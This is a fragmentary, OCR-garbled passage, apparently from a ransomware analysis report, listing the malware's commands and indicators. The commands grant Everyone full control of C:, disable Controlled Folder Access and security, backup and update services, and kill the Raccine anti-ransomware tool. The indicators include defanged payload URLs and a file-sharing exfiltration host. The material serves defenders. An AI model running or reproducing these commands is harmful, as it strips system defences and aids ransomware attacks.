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> C:¥Windows¥System32¥icacls.exe"
"C:*" /grant Everyone:F /T /C/Q
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> "C:¥Windows¥System32
¥WindowsPowerShell¥v1.0
¥powershell.exe" Set-

MpPreference -EnableControlled
FolderAccess Disabled
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> "C:¥Windows¥System32¥
netsh.exe" advfirewall firewall

set rule group="Network

Discovery" new enable=Yes

> "C:¥Windows¥System32
¥netsh.exe" advfirewall

firewall set rule group=

"File and Printer Sharing" new
enable=Yes
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> taskill.exe /F /IM Raccine.exe
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> taskill.exe /F /IM
RaccineSettings.exe

> schtasks.exe /DELETE /TN "Raccine
Rules Updater" /F
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> HKCUSOFTWAREMicrosoft
WindowsCurrentVersionRun

> Name = “Raccine Tray”

> HKLMSYSTEMCurrentControlSet
ServicesEventLogApplicationRaccine
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> ¥C$¥Users¥Public

> ¥Users¥Public
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> ¥Users¥Public¥lockator

> ¥C$¥Users¥Public¥lockator
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> file[.]io
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> hxxp://45[.]9.148.114/forest.png

> hxxp://185[.]93.6.31/mountain.png
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- lexplore

- Explorer

- Winlogon

- Searchindexer

- Wininit

- SearchApp

- SearchUl
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> "C:¥Windows¥System32¥sc.exe"
config SQLTELEMETRY start=
disabled

> "C:¥Windows¥System32¥sc.exe"
config SQLTELEMETRY$ECWDB2
start= disabled

> "C:¥Windows¥System32¥sc.exe"
config SQLWriter start= disabled
> "C:¥Windows¥System32¥sc.exe"
config SstpSvc start= disabled

> "C:¥Windows¥System32¥sc.exe"
config MBAMService start=
disabled

> "C:¥Windows¥System32¥sc.exe"
config wuauserv start= disabled




